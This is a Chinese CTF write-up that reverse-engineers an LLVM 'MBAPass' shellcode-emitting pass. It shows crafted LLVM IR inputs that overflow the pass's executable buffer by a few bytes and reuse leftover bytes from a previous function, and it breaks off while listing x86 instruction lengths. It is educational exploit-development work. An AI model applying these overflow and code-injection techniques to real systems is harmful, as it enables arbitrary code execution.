/* ---------------------------------------------------------------*/
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
*((_DWORD *)this + 12) = 0;
std::stack<llvm::Value *>::stack<std::deque<llvm::Value *>,void>(v26);
std::stack<int>::stack<std::deque<int>,void>(v25);
std::stack<llvm::Value *>::push(v26, &Operand);
v24 = 1;
std::stack<int>::push(v25, &v24);
while ( *((_QWORD *)this + 5) < v30 )       //从这里可以看出来v30设置了一个下限,shellcode的长度不能超过v30,但是有执行权限的空间大小0x1000,但是这里只限制了0xff0
    										//this[4]指向shellcode最后面
{
  if ( !std::stack<llvm::Value *>::size(v26) )
  {
    `anonymous namespace'::MBAPass::writeRet(this);
    break;
  }
  v23 = *(llvm **)std::stack<llvm::Value *>::top(v26);   //这里构建了stack,有点没看懂是把什么放到stack里面了,但是应该在生成shellcode的时候有个怎么样的倒续
  std::stack<llvm::Value *>::pop(v26);
  v22 = *(_DWORD *)std::stack<int>::top(v25);
  std::stack<int>::pop(v25);
  v5 = v23;
  v21 = (llvm *)llvm::dyn_cast<llvm::BinaryOperator,llvm::Value>(v23);
  if ( !v21 )
  {
    v6 = llvm::errs(v5);
    v7 = llvm::raw_ostream::operator<<(v6, "Unsupported opcode: ");
    v8 = llvm::operator<<(v7, v23);
    llvm::raw_ostream::operator<<(v8, "\n");
    exit(-1);
  }
  if ( (unsigned int)llvm::BinaryOperator::getOpcode(v21) != 13 )
  {
    v9 = v21;
    if ( (unsigned int)llvm::BinaryOperator::getOpcode(v21) != 15 )
    {
      v10 = llvm::errs(v9);
      v15 = llvm::raw_ostream::operator<<(v10, "Unsupported opcode: ");
      OpcodeName = llvm::Instruction::getOpcodeName(v21);
      v12 = llvm::raw_ostream::operator<<(v15, OpcodeName);
      llvm::raw_ostream::operator<<(v12, "\n");
      exit(-1);
    }
  }
  v20 = llvm::BinaryOperator::getOperand(v21, 0);
  v19 = llvm::BinaryOperator::getOperand(v21, 1u);
  if ( (llvm::isa<llvm::Constant,llvm::Value *>(&v20) & 1) != 0 )
  {
    v13 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v20);
    v18 = llvm::ConstantInt::getSExtValue(v13);
    if ( v18 == 1 || v18 == -1 )
    {
      `anonymous namespace'::MBAPass::writeInc(this, v18 * v22);
    }
    else
    {
      `anonymous namespace'::MBAPass::writeMovImm64(this, 1, v18 * v22);
      `anonymous namespace'::MBAPass::writeOpReg(this, 1);
    }
  }
  else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&v20) & 1) != 0 )
  {
    *((_DWORD *)this + 12) += v22;
  }
  else
  {
    std::stack<llvm::Value *>::push(v26, &v20);
    std::stack<int>::push(v25, &v22);
  }
  if ( (unsigned int)llvm::BinaryOperator::getOpcode(v21) == 15 )
    v22 = -v22;
  if ( (llvm::isa<llvm::Constant,llvm::Value *>(&v19) & 1) != 0 )
  {
    v14 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v19);
    v17 = llvm::ConstantInt::getSExtValue(v14);
    if ( v17 == 1 || v17 == -1 )
    {
      `anonymous namespace'::MBAPass::writeInc(this, v22);
    }
    else
    {
      `anonymous namespace'::MBAPass::writeMovImm64(this, 1, v17 * v22);
      `anonymous namespace'::MBAPass::writeOpReg(this, 1);
    }
  }
  else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&v19) & 1) != 0 )
  {
    *((_DWORD *)this + 12) += v22;
  }
  else
  {
    std::stack<llvm::Value *>::push(v26, &v19);
    std::stack<int>::push(v25, &v22);
  }
}
std::stack<int>::~stack(v25);
return std::stack<llvm::Value *>::~stack(v26);

handle方法里面还有writeMovImm64writeRet等几个方法,我们分别看一下是干什么用的:

_anonymous_namespace_::MBAPass *__fastcall `anonymous namespace'::MBAPass::writeMovImm64(
        _anonymous_namespace_::MBAPass *this,
        int a2,
        __int64 a3)
{
  _anonymous_namespace_::MBAPass *result; // rax

  **((_BYTE **)this + 5) = 0x48;
  if ( a2 )
    *(_BYTE *)(*((_QWORD *)this + 5) + 1LL) = 0xBB;
  else
    *(_BYTE *)(*((_QWORD *)this + 5) + 1LL) = 0xB8;
  result = this;
  *(_QWORD *)(*((_QWORD *)this + 5) + 2LL) = a3;
  *((_QWORD *)this + 5) += 10LL;							//生成的shellcode占10字节
  return result;
}

结合方法名字我们知道这里是构造mov指令。

image-20220828020534757

同理writeRet:

_BYTE *__fastcall `anonymous namespace'::MBAPass::writeRet(_anonymous_namespace_::MBAPass *this)
{
  _BYTE *result; // rax

  result = (_BYTE *)*((_QWORD *)this + 5);
  *result = 0xC3;
  return result;
}

构造ret指令

image-20220828020624682

writeInc:

_anonymous_namespace_::MBAPass *__fastcall `anonymous namespace'::MBAPass::writeInc(
        _anonymous_namespace_::MBAPass *this,
        int a2)
{
  _anonymous_namespace_::MBAPass *result; // rax

  **((_BYTE **)this + 5) = 0x48;
  *(_BYTE *)(*((_QWORD *)this + 5) + 1LL) = 0xFF;
  if ( a2 == 1 )
    *(_BYTE *)(*((_QWORD *)this + 5) + 2LL) = 0xC0;
  else
    *(_BYTE *)(*((_QWORD *)this + 5) + 2LL) = 0xC8;
  result = this;
  *((_QWORD *)this + 5) += 3LL;					//生成三个字节指令
  return result;
}

构造自增、自减

image-20220828180246786

writeOpReg

_anonymous_namespace_::MBAPass *__fastcall `anonymous namespace'::MBAPass::writeOpReg(
        _anonymous_namespace_::MBAPass *this,
        int a2)
{
  _anonymous_namespace_::MBAPass *result; // rax

  **((_BYTE **)this + 5) = 0x48;
  if ( a2 )
    *(_BYTE *)(*((_QWORD *)this + 5) + 1LL) = 1;
  else
    *(_BYTE *)(*((_QWORD *)this + 5) + 1LL) = 0x29;
  *(_BYTE *)(*((_QWORD *)this + 5) + 2LL) = 0xD8;
  result = this;
  *((_QWORD *)this + 5) += 3LL; 				//三字节指令
  return result;
}

构建寄存器加减:

image-20220828180526306

功能大致就这些,现在的问题是我们要怎么去利用呢?我在调试的过程中发现,程序用retn指令填充了可执行区域剩余的代码:

image-20220828220128393

相当于是我们可以让程序最后的return不解析(但必须得有,如果没有return的话中间程序就给你把进程噶了)。再结合前面的边界限制只到0xff0,我们这里可以有一点点越界,因为指令也是有长度的,只要生成指令的时候边界是在0xff0之内就可以。

我们通过分析发现,一个sub或者addIR对应的shellcode是13个字节:

image-20220828221325503

define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 0
%3 = add nsw i64 %2, 1
%4 = add nsw i64 %2, 2
%5 = add nsw i64 %3, 3
%6 = add nsw i64 %4, 4
%7 = add nsw i64 %5, 5
%8 = add nsw i64 %6, 6
%9 = add nsw i64 %7, 7
%10 = add nsw i64 %8, 8
%11 = add nsw i64 %9, 9
%12 = add nsw i64 %10, 10
%13 = add nsw i64 %11, 11
%14 = add nsw i64 %12, 12
%15 = add nsw i64 %13, 13
%16 = add nsw i64 %14, 14
%17 = add nsw i64 %15, 15
%18 = add nsw i64 %16, 16
%19 = add nsw i64 %17, 17
%20 = add nsw i64 %18, 18
%21 = add nsw i64 %19, 19
%22 = add nsw i64 %20, 20
%23 = add nsw i64 %21, 21
%24 = add nsw i64 %22, 22
%25 = add nsw i64 %23, 23
%26 = add nsw i64 %24, 24
%27 = add nsw i64 %25, 25
%28 = add nsw i64 %26, 26
%29 = add nsw i64 %27, 27
%30 = add nsw i64 %28, 28
%31 = add nsw i64 %29, 29
%32 = add nsw i64 %30, 30
%33 = add nsw i64 %31, 31
%34 = add nsw i64 %32, 32
%35 = add nsw i64 %33, 33
%36 = add nsw i64 %34, 34
%37 = add nsw i64 %35, 35
%38 = add nsw i64 %36, 36
%39 = add nsw i64 %37, 37
%40 = add nsw i64 %38, 38
%41 = add nsw i64 %39, 39
%42 = add nsw i64 %40, 40
%43 = add nsw i64 %41, 41
%44 = add nsw i64 %42, 42
%45 = add nsw i64 %43, 43
%46 = add nsw i64 %44, 44
%47 = add nsw i64 %45, 45
%48 = add nsw i64 %46, 46
%49 = add nsw i64 %47, 47
%50 = add nsw i64 %48, 48
%51 = add nsw i64 %49, 49
%52 = add nsw i64 %50, 50
%53 = add nsw i64 %51, 51
%54 = add nsw i64 %52, 52
%55 = add nsw i64 %53, 53
%56 = add nsw i64 %54, 54
%57 = add nsw i64 %55, 55
%58 = add nsw i64 %56, 56
%59 = add nsw i64 %57, 57
%60 = add nsw i64 %58, 58
%61 = add nsw i64 %59, 59
%62 = add nsw i64 %60, 60
%63 = add nsw i64 %61, 61
%64 = add nsw i64 %62, 62
%65 = add nsw i64 %63, 63
%66 = add nsw i64 %64, 64
%67 = add nsw i64 %65, 65
%68 = add nsw i64 %66, 66
%69 = add nsw i64 %67, 67
%70 = add nsw i64 %68, 68
%71 = add nsw i64 %69, 69
%72 = add nsw i64 %70, 70
%73 = add nsw i64 %71, 71
%74 = add nsw i64 %72, 72
%75 = add nsw i64 %73, 73
%76 = add nsw i64 %74, 74
%77 = add nsw i64 %75, 75
%78 = add nsw i64 %76, 76
%79 = add nsw i64 %77, 77
%80 = add nsw i64 %78, 78
%81 = add nsw i64 %79, 79
%82 = add nsw i64 %80, 80
%83 = add nsw i64 %81, 81
%84 = add nsw i64 %82, 82
%85 = add nsw i64 %83, 83
%86 = add nsw i64 %84, 84
%87 = add nsw i64 %85, 85
%88 = add nsw i64 %86, 86
%89 = add nsw i64 %87, 87
%90 = add nsw i64 %88, 88
%91 = add nsw i64 %89, 89
%92 = add nsw i64 %90, 90
%93 = add nsw i64 %91, 91
%94 = add nsw i64 %92, 92
%95 = add nsw i64 %93, 93
%96 = add nsw i64 %94, 94
%97 = add nsw i64 %95, 95
%98 = add nsw i64 %96, 96
%99 = add nsw i64 %97, 97
%100 = add nsw i64 %98, 98
%101 = add nsw i64 %99, 99
%102 = add nsw i64 %100, 100
%103 = add nsw i64 %101, 101
%104 = add nsw i64 %102, 102
%105 = add nsw i64 %103, 103
%106 = add nsw i64 %104, 104
%107 = add nsw i64 %105, 105
%108 = add nsw i64 %106, 106
%109 = add nsw i64 %107, 107
%110 = add nsw i64 %108, 108
%111 = add nsw i64 %109, 109
%112 = add nsw i64 %110, 110
%113 = add nsw i64 %111, 111
%114 = add nsw i64 %112, 112
%115 = add nsw i64 %113, 113
%116 = add nsw i64 %114, 114
%117 = add nsw i64 %115, 115
%118 = add nsw i64 %116, 116
%119 = add nsw i64 %117, 117
%120 = add nsw i64 %118, 118
%121 = add nsw i64 %119, 119
%122 = add nsw i64 %120, 120
%123 = add nsw i64 %121, 121
%124 = add nsw i64 %122, 122
%125 = add nsw i64 %123, 123
%126 = add nsw i64 %124, 124
%127 = add nsw i64 %125, 125
%128 = add nsw i64 %126, 126
%129 = add nsw i64 %127, 127
%130 = add nsw i64 %128, 128
%131 = add nsw i64 %129, 129
%132 = add nsw i64 %130, 130
%133 = add nsw i64 %131, 131
%134 = add nsw i64 %132, 132
%135 = add nsw i64 %133, 133
%136 = add nsw i64 %134, 134
%137 = add nsw i64 %135, 135
%138 = add nsw i64 %136, 136
%139 = add nsw i64 %137, 137
%140 = add nsw i64 %138, 138
%141 = add nsw i64 %139, 139
%142 = add nsw i64 %140, 140
%143 = add nsw i64 %141, 141
%144 = add nsw i64 %142, 142
%145 = add nsw i64 %143, 143
%146 = add nsw i64 %144, 144
%147 = add nsw i64 %145, 145
%148 = add nsw i64 %146, 146
%149 = add nsw i64 %147, 147
%150 = add nsw i64 %148, 148
%151 = add nsw i64 %149, 149
%152 = add nsw i64 %150, 150
%153 = add nsw i64 %151, 151
%154 = add nsw i64 %152, 152
%155 = add nsw i64 %153, 153
%156 = add nsw i64 %154, 154
%157 = add nsw i64 %155, 155
%158 = add nsw i64 %156, 156
%159 = add nsw i64 %157, 157
%160 = add nsw i64 %158, 158
%161 = add nsw i64 %159, 159
%162 = add nsw i64 %160, 160
%163 = add nsw i64 %161, 161
%164 = add nsw i64 %162, 162
%165 = add nsw i64 %163, 163
%166 = add nsw i64 %164, 164
%167 = add nsw i64 %165, 165
%168 = add nsw i64 %166, 166
%169 = add nsw i64 %167, 167
%170 = add nsw i64 %168, 168
%171 = add nsw i64 %169, 169
%172 = add nsw i64 %170, 170
%173 = add nsw i64 %171, 171
%174 = add nsw i64 %172, 172
%175 = add nsw i64 %173, 173
%176 = add nsw i64 %174, 174
%177 = add nsw i64 %175, 175
%178 = add nsw i64 %176, 176
%179 = add nsw i64 %177, 177
%180 = add nsw i64 %178, 178
%181 = add nsw i64 %179, 179
%182 = add nsw i64 %180, 180
%183 = add nsw i64 %181, 181
%184 = add nsw i64 %182, 182
%185 = add nsw i64 %183, 183
%186 = add nsw i64 %184, 184
%187 = add nsw i64 %185, 185
%188 = add nsw i64 %186, 186
%189 = add nsw i64 %187, 187
%190 = add nsw i64 %188, 188
%191 = add nsw i64 %189, 189
%192 = add nsw i64 %190, 190
%193 = add nsw i64 %191, 191
%194 = add nsw i64 %192, 192
%195 = add nsw i64 %193, 193
%196 = add nsw i64 %194, 194
%197 = add nsw i64 %195, 195
%198 = add nsw i64 %196, 196
%199 = add nsw i64 %197, 197
%200 = add nsw i64 %198, 198
%201 = add nsw i64 %199, 199
%202 = add nsw i64 %200, 200
%203 = add nsw i64 %201, 201
%204 = add nsw i64 %202, 202
%205 = add nsw i64 %203, 203
%206 = add nsw i64 %204, 204
%207 = add nsw i64 %205, 205
%208 = add nsw i64 %206, 206
%209 = add nsw i64 %207, 207
%210 = add nsw i64 %208, 208
%211 = add nsw i64 %209, 209
%212 = add nsw i64 %210, 210
%213 = add nsw i64 %211, 211
%214 = add nsw i64 %212, 212
%215 = add nsw i64 %213, 213
%216 = add nsw i64 %214, 214
%217 = add nsw i64 %215, 215
%218 = add nsw i64 %216, 216
%219 = add nsw i64 %217, 217
%220 = add nsw i64 %218, 218
%221 = add nsw i64 %219, 219
%222 = add nsw i64 %220, 220
%223 = add nsw i64 %221, 221
%224 = add nsw i64 %222, 222
%225 = add nsw i64 %223, 223
%226 = add nsw i64 %224, 224
%227 = add nsw i64 %225, 225
%228 = add nsw i64 %226, 226
%229 = add nsw i64 %227, 227
%230 = add nsw i64 %228, 228
%231 = add nsw i64 %229, 229
%232 = add nsw i64 %230, 230
%233 = add nsw i64 %231, 231
%234 = add nsw i64 %232, 232
%235 = add nsw i64 %233, 233
%236 = add nsw i64 %234, 234
%237 = add nsw i64 %235, 235
%238 = add nsw i64 %236, 236
%239 = add nsw i64 %237, 237
%240 = add nsw i64 %238, 238
%241 = add nsw i64 %239, 239
%242 = add nsw i64 %240, 240
%243 = add nsw i64 %241, 241
%244 = add nsw i64 %242, 242
%245 = add nsw i64 %243, 243
%246 = add nsw i64 %244, 244
%247 = add nsw i64 %245, 245
%248 = add nsw i64 %246, 246
%249 = add nsw i64 %247, 247
%250 = add nsw i64 %248, 248
%251 = add nsw i64 %249, 249
%252 = add nsw i64 %250, 250
%253 = add nsw i64 %251, 251
%254 = add nsw i64 %252, 252
%255 = add nsw i64 %253, 253
%256 = add nsw i64 %254, 254
%257 = add nsw i64 %255, 255
%258 = add nsw i64 %256, 256
%259 = add nsw i64 %257, 257
%260 = add nsw i64 %258, 258
%261 = add nsw i64 %259, 259
%262 = add nsw i64 %260, 260
%263 = add nsw i64 %261, 261
%264 = add nsw i64 %262, 262
%265 = add nsw i64 %263, 263
%266 = add nsw i64 %264, 264
%267 = add nsw i64 %265, 265
%268 = add nsw i64 %266, 266
%269 = add nsw i64 %267, 267
%270 = add nsw i64 %268, 268
%271 = add nsw i64 %269, 269
%272 = add nsw i64 %270, 270
%273 = add nsw i64 %271, 271
%274 = add nsw i64 %272, 272
%275 = add nsw i64 %273, 273
%276 = add nsw i64 %274, 274
%277 = add nsw i64 %275, 275
%278 = add nsw i64 %276, 276
%279 = add nsw i64 %277, 277
%280 = add nsw i64 %278, 278
%281 = add nsw i64 %279, 279
%282 = add nsw i64 %280, 280
%283 = add nsw i64 %281, 281
%284 = add nsw i64 %282, 282
%285 = add nsw i64 %283, 283
%286 = add nsw i64 %284, 284
%287 = add nsw i64 %285, 285
%288 = add nsw i64 %286, 286
%289 = add nsw i64 %287, 287
%290 = add nsw i64 %288, 288
%291 = add nsw i64 %289, 289
%292 = add nsw i64 %290, 290
%293 = add nsw i64 %291, 291
%294 = add nsw i64 %292, 292
%295 = add nsw i64 %293, 293
%296 = add nsw i64 %294, 294
%297 = add nsw i64 %295, 295
%298 = add nsw i64 %296, 296
%299 = add nsw i64 %297, 297
%300 = add nsw i64 %298, 298
%301 = add nsw i64 %299, 299
%302 = add nsw i64 %300, 300
%303 = add nsw i64 %301, 301
%304 = add nsw i64 %302, 302
%305 = add nsw i64 %303, 303
%306 = add nsw i64 %304, 304
%307 = add nsw i64 %305, 305
%308 = add nsw i64 %306, 306
%309 = add nsw i64 %307, 307
%310 = add nsw i64 %308, 308
%311 = add nsw i64 %309, 309
%312 = add nsw i64 %310, 310
%313 = add nsw i64 %311, 311
%314 = add nsw i64 %312, 312
%315 = add nsw i64 %313, 313
%316 = add nsw i64 %314, 314
%317 = add nsw i64 %315, 315
%318 = add nsw i64 %316, 316
%319 = add nsw i64 %317, 317
%320 = add nsw i64 %318, 318
%321 = add nsw i64 %319, 319
%322 = add nsw i64 %320, 320
%323 = add nsw i64 %321, 321
%324 = add nsw i64 %322, 322
%325 = add nsw i64 %323, 323
%326 = add nsw i64 %324, 324
%327 = add nsw i64 %325, 325
%328 = add nsw i64 %326, 326
%329 = add nsw i64 %327, 327
%330 = add nsw i64 %328, 328
%331 = add nsw i64 %329, 329
%332 = add nsw i64 %330, 330
%333 = add nsw i64 %331, 331
%334 = add nsw i64 %332, 332
%335 = add nsw i64 %333, 333
%336 = add nsw i64 %334, 334
%337 = add nsw i64 %335, 335
%338 = add nsw i64 %336, 336
%339 = add nsw i64 %337, 337
%340 = add nsw i64 %338, 338
%341 = add nsw i64 %339, 339
%342 = add nsw i64 %340, 340
%343 = add nsw i64 %341, 341
%344 = add nsw i64 %342, 342
%345 = add nsw i64 %343, 343
%346 = add nsw i64 %344, 344
%347 = add nsw i64 %345, 345
%348 = add nsw i64 %346, 346
%349 = add nsw i64 %347, 347
%350 = add nsw i64 %348, 348
%351 = add nsw i64 %349, 349
%352 = add nsw i64 %350, 350
%353 = add nsw i64 %351, 351
%354 = add nsw i64 %352, 352
%355 = add nsw i64 %353, 353
%356 = add nsw i64 %354, 354
%357 = add nsw i64 %355, 355
%358 = add nsw i64 %356, 356
%359 = add nsw i64 %357, 357
%360 = add nsw i64 %358, 358
%361 = add nsw i64 %359, 359
%362 = add nsw i64 %360, 360
%363 = add nsw i64 %361, 361
%364 = add nsw i64 %362, 362
%365 = add nsw i64 %363, 363
%366 = add nsw i64 %364, 364
%367 = add nsw i64 %365, 365
%368 = add nsw i64 %366, 366
%369 = add nsw i64 %367, 367
%370 = add nsw i64 %368, 368
%371 = add nsw i64 %369, 369
%372 = add nsw i64 %370, 370
%373 = add nsw i64 %371, 371
%374 = add nsw i64 %372, 372
%375 = add nsw i64 %373, 373
%376 = add nsw i64 %374, 374
%377 = add nsw i64 %375, 375
%378 = add nsw i64 %376, 376
%379 = add nsw i64 %377, 377
%380 = add nsw i64 %378, 378
%381 = add nsw i64 %379, 379
%382 = add nsw i64 %380, 380
%383 = add nsw i64 %381, 381
%384 = add nsw i64 %382, 382
%385 = add nsw i64 %383, 383
%386 = add nsw i64 %384, 384
%387 = add nsw i64 %385, 385
%388 = add nsw i64 %386, 386
%389 = add nsw i64 %387, 387
%390 = add nsw i64 %388, 388
%391 = add nsw i64 %389, 389
%392 = add nsw i64 %390, 390
%393 = add nsw i64 %391, 391
%394 = add nsw i64 %392, 392
%395 = add nsw i64 %393, 393
%396 = add nsw i64 %394, 394
%397 = add nsw i64 %395, 395
%398 = add nsw i64 %396, 396
%399 = add nsw i64 %397, 397
%400 = add nsw i64 %398, 398
%401 = add nsw i64 %399, 399
%402 = add nsw i64 %400, 400
%403 = add nsw i64 %401, 401
%404 = add nsw i64 %402, 402
%405 = add nsw i64 %403, 403
%406 = add nsw i64 %404, 404
%407 = add nsw i64 %405, 405
%408 = add nsw i64 %406, 406
%409 = add nsw i64 %407, 407
%410 = add nsw i64 %408, 408
%411 = add nsw i64 %409, 409
%412 = add nsw i64 %410, 410
%413 = add nsw i64 %411, 411
%414 = add nsw i64 %412, 412
%415 = add nsw i64 %413, 413
%416 = add nsw i64 %414, 414
%417 = add nsw i64 %415, 415
%418 = add nsw i64 %416, 416
%419 = add nsw i64 %417, 417
%420 = add nsw i64 %418, 418
%421 = add nsw i64 %419, 419
%422 = add nsw i64 %420, 420
%423 = add nsw i64 %421, 421
%424 = add nsw i64 %422, 422
%425 = add nsw i64 %423, 423
%426 = add nsw i64 %424, 424
%427 = add nsw i64 %425, 425
%428 = add nsw i64 %426, 426
%429 = add nsw i64 %427, 427
%430 = add nsw i64 %428, 428
%431 = add nsw i64 %429, 429
%432 = add nsw i64 %430, 430
%433 = add nsw i64 %431, 431
%434 = add nsw i64 %432, 432
%435 = add nsw i64 %433, 433
%436 = add nsw i64 %434, 434
%437 = add nsw i64 %435, 435
%438 = add nsw i64 %436, 436
%439 = add nsw i64 %437, 437
%440 = add nsw i64 %438, 438
%441 = add nsw i64 %439, 439
%442 = add nsw i64 %440, 440
%443 = add nsw i64 %441, 441
%444 = add nsw i64 %442, 442
%445 = add nsw i64 %443, 443
%446 = add nsw i64 %444, 444
%447 = add nsw i64 %445, 445
%448 = add nsw i64 %446, 446
%449 = add nsw i64 %447, 447
%450 = add nsw i64 %448, 448
%451 = add nsw i64 %449, 449
%452 = add nsw i64 %450, 450
%453 = add nsw i64 %451, 451
%454 = add nsw i64 %452, 452
%455 = add nsw i64 %453, 453
%456 = add nsw i64 %454, 454
%457 = add nsw i64 %455, 455
%458 = add nsw i64 %456, 456
%459 = add nsw i64 %457, 457
%460 = add nsw i64 %458, 458
%461 = add nsw i64 %459, 459
%462 = add nsw i64 %460, 460
%463 = add nsw i64 %461, 461
%464 = add nsw i64 %462, 462
%465 = add nsw i64 %463, 463
%466 = add nsw i64 %464, 464
%467 = add nsw i64 %465, 465
%468 = add nsw i64 %466, 466
%469 = add nsw i64 %467, 467
%470 = add nsw i64 %468, 468
%471 = add nsw i64 %469, 469
%472 = add nsw i64 %470, 470
%473 = add nsw i64 %471, 471
%474 = add nsw i64 %472, 472
%475 = add nsw i64 %473, 473
%476 = add nsw i64 %474, 474
%477 = add nsw i64 %475, 475
%478 = add nsw i64 %476, 476
%479 = add nsw i64 %477, 477
%480 = add nsw i64 %478, 478
%481 = add nsw i64 %479, 479
%482 = add nsw i64 %480, 480
%483 = add nsw i64 %481, 481
%484 = add nsw i64 %482, 482
%485 = add nsw i64 %483, 483
%486 = add nsw i64 %484, 484
%487 = add nsw i64 %485, 485
%488 = add nsw i64 %486, 486
%489 = add nsw i64 %487, 487
%490 = add nsw i64 %488, 488
%491 = add nsw i64 %489, 489
%492 = add nsw i64 %490, 490
%493 = add nsw i64 %491, 491
%494 = add nsw i64 %492, 492
%495 = add nsw i64 %493, 493
%496 = add nsw i64 %494, 494
%497 = add nsw i64 %495, 495
%498 = add nsw i64 %496, 496
%499 = add nsw i64 %497, 497
%500 = add nsw i64 %498, 498
%501 = add nsw i64 %499, 499
%502 = add nsw i64 %500, 500
%503 = add nsw i64 %501, 501
%504 = add nsw i64 %502, 502
%505 = add nsw i64 %503, 503
%506 = add nsw i64 %504, 504
%507 = add nsw i64 %505, 505
%508 = add nsw i64 %506, 506
%509 = add nsw i64 %507, 507
%510 = add nsw i64 %508, 508
%511 = add nsw i64 %509, 509
%512 = add nsw i64 %510, 510
%513 = add nsw i64 %511, 511
%514 = add nsw i64 %512, 512
%515 = add nsw i64 %513, 513
%516 = add nsw i64 %514, 514
%517 = add nsw i64 %515, 515
%518 = add nsw i64 %516, 516
%519 = add nsw i64 %517, 517
%520 = add nsw i64 %518, 518
%521 = add nsw i64 %519, 519
%522 = add nsw i64 %520, 520
%523 = add nsw i64 %521, 521
%524 = add nsw i64 %522, 522
%525 = add nsw i64 %523, 523
%526 = add nsw i64 %524, 524
%527 = add nsw i64 %525, 525
%528 = add nsw i64 %526, 526
%529 = add nsw i64 %527, 527
%530 = add nsw i64 %528, 528
%531 = add nsw i64 %529, 529
%532 = add nsw i64 %530, 530
%533 = add nsw i64 %531, 531
%534 = add nsw i64 %532, 532
%535 = add nsw i64 %533, 533
%536 = add nsw i64 %534, 534
%537 = add nsw i64 %535, 535
%538 = add nsw i64 %536, 536
%539 = add nsw i64 %537, 537
%540 = add nsw i64 %538, 538
%541 = add nsw i64 %539, 539
%542 = add nsw i64 %540, 540
%543 = add nsw i64 %541, 541
%544 = add nsw i64 %542, 542
%545 = add nsw i64 %543, 543
%546 = add nsw i64 %544, 544
%547 = add nsw i64 %545, 545
%548 = add nsw i64 %546, 546
%549 = add nsw i64 %547, 547
%550 = add nsw i64 %548, 548
%551 = add nsw i64 %549, 549
%552 = add nsw i64 %550, 550
%553 = add nsw i64 %551, 551
%554 = add nsw i64 %552, 552
%555 = add nsw i64 %553, 553
%556 = add nsw i64 %554, 554
%557 = add nsw i64 %555, 555
%558 = add nsw i64 %556, 556
%559 = add nsw i64 %557, 557
%560 = add nsw i64 %558, 558
%561 = add nsw i64 %559, 559
%562 = add nsw i64 %560, 560
%563 = add nsw i64 %561, 561
%564 = add nsw i64 %562, 562
%565 = add nsw i64 %563, 563
%566 = add nsw i64 %564, 564
%567 = add nsw i64 %565, 565
%568 = add nsw i64 %566, 566
%569 = add nsw i64 %567, 567
%570 = add nsw i64 %568, 568
%571 = add nsw i64 %569, 569
%572 = add nsw i64 %570, 570
%573 = add nsw i64 %571, 571
%574 = add nsw i64 %572, 572
%575 = add nsw i64 %573, 573
%576 = add nsw i64 %574, 574
%577 = add nsw i64 %575, 575
%578 = add nsw i64 %576, 576
%579 = add nsw i64 %577, 577
%580 = add nsw i64 %578, 578
%581 = add nsw i64 %579, 579
%582 = add nsw i64 %580, 580
%583 = add nsw i64 %581, 581
%584 = add nsw i64 %582, 582
%585 = add nsw i64 %583, 583
%586 = add nsw i64 %584, 584
%587 = add nsw i64 %585, 585
%588 = add nsw i64 %586, 586
%589 = add nsw i64 %587, 587
%590 = add nsw i64 %588, 588
%591 = add nsw i64 %589, 589
%592 = add nsw i64 %590, 590
%593 = add nsw i64 %591, 591
%594 = add nsw i64 %592, 592
%595 = add nsw i64 %593, 593
%596 = add nsw i64 %594, 594
%597 = add nsw i64 %595, 595
%598 = add nsw i64 %596, 596
%599 = add nsw i64 %597, 597
%600 = add nsw i64 %598, 598
%601 = add nsw i64 %599, 599
%602 = add nsw i64 %600, 600
%603 = add nsw i64 %601, 601
%604 = add nsw i64 %602, 602
%605 = add nsw i64 %603, 603
%606 = add nsw i64 %604, 604
%607 = add nsw i64 %605, 605
%608 = add nsw i64 %606, 606
%609 = add nsw i64 %607, 607
%610 = add nsw i64 %608, 608
%611 = add nsw i64 %609, 609
%612 = add nsw i64 %610, 610
%613 = add nsw i64 %611, 611
%614 = add nsw i64 %612, 612
%615 = add nsw i64 %613, 613
%616 = add nsw i64 %614, 614
%617 = add nsw i64 %615, 615
%618 = add nsw i64 %616, 616
%619 = add nsw i64 %617, 617
%620 = add nsw i64 %618, 618
%621 = add nsw i64 %619, 619
%622 = add nsw i64 %620, 620
%623 = add nsw i64 %621, 621
%624 = add nsw i64 %622, 622
%625 = add nsw i64 %623, 623
%626 = add nsw i64 %624, 624
%627 = add nsw i64 %625, 625
  ret i64 %627
}

image-20220828222445429

我们发现确实是可以越界的,同时我们可以通过计算发现这里最多可以越界8个字节可控字节。

然后,,,然后就卡住了,完全没有思路了。。。

我又开始审代码+调试,突然发现执行完runOnFunction中没有对存储shellcode的空间释放或者清空的?!看一下MBAPass的构造函数:

void *__fastcall `anonymous namespace'::MBAPass::MBAPass(void **this)
{
  llvm::FunctionPass::FunctionPass((llvm::FunctionPass *)this, `anonymous namespace'::MBAPass::ID);
  *this = (char *)&`vtable for'`anonymous namespace'::MBAPass + 16;
  this[4] = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  return memset(this[4], 0xC3, 0x1000uLL);
}

原来shellcode后面的retn指令不是填充的,而是初始化的时候初始化上去的。那如果我们有两个函数需要处理的话,那第二次执行shellcode的时候,上面会不会残留第一次留下来的东西?

define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = sub nsw i64 %0, 2
  %3 = add nsw i64 %2, 68
  %4 = add nsw i64 %0, 6
  %5 = add nsw i64 %4, -204
  %6 = add nsw i64 %5, %3
  %7 = icmp sgt i64 %4, %6
  ret i64 %6
}
define dso_local i64 @foo_1(i64 %0) local_unnamed_addr #0 {
  %2 = sub nsw i64 %0, 2
  %3 = add nsw i64 %2, 68
  %4 = add nsw i64 %0, 6
  ret i64 %4
}

image-20220828233652958

image-20220828233643002

经过调试,我们发现确实是这样子的。那现在我们的思路就比较清晰了,我们第一遍先构造一个8字节的溢出,然后第二遍我们构造对齐0xff0,然后让程序执行我们第一遍残留的8字节溢出。但是8字节能干什么呢???8字节可以干很多事情:

  1. 没有操作数的指令 1个字节

  2. 操作数只涉及寄存器的的指令 2个字节 如:mov bx,ax

  3. 操作数涉及内存地址的指令 3个字节 如:mov ax,ds:[bx+si+idata]

  4. 操作数涉及立即数的指令 指令长度为:寄存器宽度+1 8位寄存器,寄存器类型=1,如:mov al,8;指令长度为2个字节 16位寄存器,寄存器类型=2,如:mov ax,8;指令长度为3个字节

  5. 跳转指令 分为2种情况:

    • 段内跳转 指令长度为2个字节或3个字节

      jmp指令本身占1个字节

      段内短转移,8位位移量占一个字节,加上jmp指令一个字节,整条指令占2个字节 如:jmp short opr

